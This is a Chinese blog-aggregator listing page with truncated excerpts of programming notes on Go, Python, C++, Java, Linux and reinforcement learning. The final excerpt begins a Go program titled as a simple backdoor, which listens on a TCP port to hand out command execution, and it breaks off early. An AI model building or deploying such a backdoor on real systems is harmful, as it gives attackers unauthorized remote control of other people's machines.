函数 笔记golang

sharding分表应用笔记(一)——分表数据源配置

sharding分表应用笔记(一)——分表数据源配置 目录sharding分表应用笔记(一)——分表数据源配置1 前言2 配置2.1 相关依赖2.2 命名空间配置2.2.1 引入sharding命名空间2.2.2 物理数据源配置2.2.3 分表数据源配置3 外部链接 1 前言 应用背景:物理数据源只 ......
分表 数据源 sharding 笔记 数据

golang中 String bytes rune 和 字符概念与应用

一、引入问题-为何打印s[0] 没有打印‘你’字符 package main import "fmt" func main() { s := "你" fmt.Println(s[0]) fmt.Printf("%s\n", s[0]) } output %!s(uint8=228) 首先需要知道go ......
字符 概念 golang String bytes

Golang简单使用wasm

go代码 package main import ( "syscall/js" ) func addxxxx(this js.Value, args []js.Value) interface{} { if len(args) != 2 { return "Invalid number of arg ......
Golang wasm

常用数学库函数

对于c++对数函数的记录: log函数包括两种函数 一种以e为低的log()函数 另一种为以10为底的log 10()函数; #include<iostream> #include<cmath> using namespace std; int main() { double a=9,b=10; c ......
函数 常用 数学

bool函数,bool值True,False的判别,eval函数的功能使用,赋值运算符的顺序

1. print(bool(1),bool(0)) 查看1,和0的布尔值是True,和False 即在数字类型时,非零的即为True ,0 为False 2. print(bool(False))它本身的布尔值也为False 3.printf(‘ ’)布尔值为False 在空字符 或者空集合,空数组 ......
函数 运算符 bool 顺序 功能

Golang(Go语言)调用Win32 API实操

在Go语言中调用Win32 API可以使用syscall包来实现。下面是一个简单的示例代码,演示如何在Go中调用Win32 API的MessageBox函数: package main import ( "fmt" "syscall" "unsafe" ) var ( user32 = syscal ......
语言 Golang API Win 32

Golang(Go语言)程序编译成windows系统服务运行

要将Go程序编译成Windows系统服务运行,你需要使用第三方库来实现。一个常用的库是github.com/kardianos/service。 以下是一个简单的示例代码,演示如何将Go程序编译为Windows服务: package main import ( "log" "github.com/k ......
windows 语言 程序 Golang 系统

flask中的创建响应对象【make_response函数】与【Response类】

make_response 和 Response 都用于在 Flask 中创建响应对象,但它们之间有一些区别。 make_response 函数 make_response 是 Flask 提供的一个便捷函数,用于创建响应对象。它通常用于在视图函数中设置响应的内容、状态码和头部。主要的特点包括: 可 ......

《Unix/Linux系统编程》教材学习笔记第六章

chapter6 信号和中断 “中断”是从I/O设备或协处理器发送到CPU的外部请求,它将CPU从正常执行转移到中断处理。与发送给CPU的中断请求一样,“信号”是发送给进程的请求,将进程从正常执行转移到中断处理。在讨论信号和信号处理之前,先来回顾中断的概念和机制,这有助于正确看待信号。 (1)首先, ......
教材 笔记 系统 Linux Unix

off-line RL | CQL:魔改 Bellman error 更新,得到 Q 函数 lower-bound

论文题目: Conservative Q-Learning for Offline Reinforcement Learning CQL 是师兄盛赞的一篇论文:“是 off-line RL 最精彩的工作之一,扭曲了 Q function,认为没看过的 Q 很有风险,把 OOD(out of dist ......
lower-bound 函数 off-line Bellman error

pytorch损失函数

pytorch损失函数 目录pytorch损失函数损失函数概念均方误差损失Mean Squared Error,MSE平均绝对误差损失Mean Absolute Error, MAE平滑L1损失,Smooth L1 Loss平滑平均绝对误差,Huber损失交叉熵损失Cross-Entropy Los ......
函数 损失 pytorch

python虚拟环境的使用笔记

方法一:在后台手动安装 1、输入命令:pip3 install virtualenv 2、指定目录:cd....; 然后输入:virtualenv env_django(创建虚拟环境) 3、激活该虚拟环境: windows进到目录里,的Script文件夹输入:activate linux:sorus ......
环境 笔记 python

python初学者学习笔记-第五章-函数

chapter5/函数 5.1 函数基础 5.1.1 函数形式 函数是可实现一个或多个功能的代码块; 函数的特点:重用性、模块化; Python的内置函数,如print()、len()、min()、max()等; 同时,我们也可以自定义函数; 5.1.2 函数调用 参数是函数重要组成部分,pytho ......
初学者 函数 笔记 python

C++ lambda函数总结

C++ lambda函数1 lambda函数简介名称lambda来自lambda calculus(lambda演算),一种定义和应用函数的数学系统。这个系统中可以使用匿名函数,对于接收函数指针或伪函数的函数,可以使用匿名函数定义(lambda)作为其参数。 1.1 为什么使用lambda函数?距离 ......
函数 lambda

C++中的高阶函数 -- std::function实现回调

C++中的高阶函数:以std::function优雅地实现回调 1. 简介 1.1 C++高阶函数的概念 在函数式编程语言中,高阶函数(Higher-order Function)是一个常见的概念,它通常被定义为满足下列条件之一的函数: 接受一个或多个函数作为输入(参数) 输出(返回值)是一个函数 ......
高阶 函数 function std

ReentrantLock源码笔记 - 获取锁(JDK 1.8)

ReentrantLock 学习 - 获取锁(JDK 1.8) ReentrantLock 提供非公平锁与公平锁两种加锁方式, 默认加锁方式为非公平锁。 ReentrantLock类的结构为: 从图中可以看出,ReentrantLock类包含三个静态内部类: Sync NonfairSync Fai ......
ReentrantLock 源码 笔记 JDK 1.8

ReentrantLock源码笔记 - 释放锁(JDK 1.8)

ReentrantLock源码学习 - 释放锁(unlock) 上次谈到了利用ReentrantLock的非公平和公平加锁方式,那么接下来看看释放锁的流程 首先调用ReentrantLock的unlock方法 public void unlock() { sync.release(1); } 然后会 ......
ReentrantLock 源码 笔记 JDK 1.8

python初学者学习笔记-第四章-条件和循环

chapter4/条件和循环 4.1 条件 4.1.1 基本形式 条件语句是通过一条或多条语句的执行结果(True 或者False)来决定执行的子程序; 每个条件后面要使用冒号”:”,表示满足条件后执行子程序。 缩进来划分子程序范围,相同缩进的语句组成一个整体子程序。 如果“condition”为T ......
初学者 条件 笔记 python

python初学者学习笔记-第三章-数据结构

chapter3/数据结构 3.1 列表(List) 序列是Python中最基本的数据结构,最常见的序列是列表和元组。 序列中的每个元素都分配一个索引,第一个索引是0,第二个索引是1,依此类推。 序列都可以进行如下操作,包括:索引,切片,加,乘,查询。 Python 中可以通过组合一些值得到多种复合 ......

秦疆的Java课程笔记:17-20 入门 下

17 入门 Java开发环境搭建 JDK下载与安装(略) 由于秦疆老师的网络视频教程录制于2019年,演示的JDK版本为1.8(也就是JDK 8),而现在Oracle官网只提供JDK 17与JDK 21的下载,故本小节笔记不予记录。 我实际安装的是最新的JDK 21,具体安装方法与环境配置见另一篇博 ......
课程 笔记 Java 17 20

【论文阅读笔记】【OCR-文本检测】 Few Could Be Better Than All: Feature Sampling and Grouping for Scene Text Detection

CVPR 2022 读论文思考的问题 论文试图解决什么问题? 一些基于 DETR 的方法在 ICDAR15, MLT17 等文字尺度变化范围较大的数据集上文本检测的效果不佳 DETR 运用的高层特征图难以捕捉小文字的特征,且会引入很多无关的背景噪声,增加了检测的困难程度 即使使用 DETR 的改进模 ......
Detection Grouping Sampling 文本 Feature

python初学者学习笔记-第二章-变量和数据类型

chapter2/变量和数据类型 2.1 Python语法简介 Python 的语法主要有三个特点:英文输入,单行执行,缩进模式。 如上图的代码,以“#”开头的语句是注释;一行是一块代码;以冒号“:”结尾时,换行执行缩进模式,其后的语句组成一个整体的代码块。 大小写敏感的。 2.2 print() ......
变量 初学者 类型 第二章 笔记

函数计算 FC 3.0 发布,全面降价,最高幅度达93%,阶梯计费越用越便宜

作为国内最早布局 Serverless 的云厂商之一,阿里云在 2017 年推出函数计算 FC,开发者只需编写代码并上传,函数计算就会自动准备好相应的计算资源,大幅简化开发运维过程。阿里云函数计算持续在 Serverless GPU 方面投入研发,拥有极致弹性的 GPU 实例,以及大规格的函数计算性 ......
阶梯 函数 幅度 3.0 93%

快速排序——acwing算法基础课笔记

课堂内容+个人思考,个人笔记,但是欢迎补充、批评、指正。 快速排序基于分治的思想 平均时间复杂度O(nlogn) 已知数组q[] 步骤: 1、确定分界点(x): (1)首元素q[l]; (2)尾元素q[r]; (3)中值q[(l+r)/2]; (4)随机; 2、调整区间 将区间通过x值划分为两部分( ......
基础课 算法 基础 笔记 acwing

Mysql一些操作笔记

1.如何在MySQL中表的时间格式字段加上指定天数? UPDATE 表名 SET date1 = date1 + interval 4 day WHERE 条件; 其中,4表示需要增加的天数,条件是MySQL的where子句,根据实际的表结构,生成适当的筛选条件。 此外,也可以使用date_add函 ......
笔记 Mysql

Linux学习笔记之grep满足或排除多个关键字

grep -E "word1|word2|word3" file.txt # 满足任意条件(word1、word2和word3之一)将匹配。 grep word1 file.txt | grep word2 |grep word3 # 必须同时满足三个条件(word1、word2和word3)才匹配 ......
多个 关键字 关键 笔记 Linux

Linux学习笔记之SVN 查看最后的更新文件列表

#输出最近20条信息 svn log -q #只输出版本号、时间、作者 而不输出日志 svn log –xml #让日志以xml形式输出,这样主要是为了让日志编程一个有规则的xml文件,可以二次利用 组合用 svn log -l 20 –xml -q >>result.xml #日志前20条,以xm ......
文件 笔记 Linux SVN

Java入门笔记

Java入门 1.Java诞生 1995 詹姆斯·高斯林 JavaSE:标准版(桌面程序、控制台) JavaME:嵌入式开发(手机、小家电) JavaEE:企业级开发(Web端、服务器) 2.Java特性和优势 简单性 面向对象 可移植性 高性能 分布式 动态性 多线程 安全性 健壮性 3.JDK、 ......
笔记 Java

交叉编译htop aarch64 (linux开发笔记)

准备工具 aarch64 交叉编译工具 下载htop源码http://hisham.hm/htop/index.php?page=downloads 下载htop依赖ncurseshttp://ftp.gnu.org/pub/gnu/ncurses/ 开始编译 第一步:先编译ncurser #下载 ......
笔记 aarch linux htop 64

Golang实现简单的后门程序

package main import ( "io" "net" "os/exec" ) func main() { var ( listener net.Listener err error conn net.Conn ) listener, err = net.Listen("tcp", ":8 ......
后门 程序 Golang
共13700篇  :95/457页 首页上一页95下一页尾页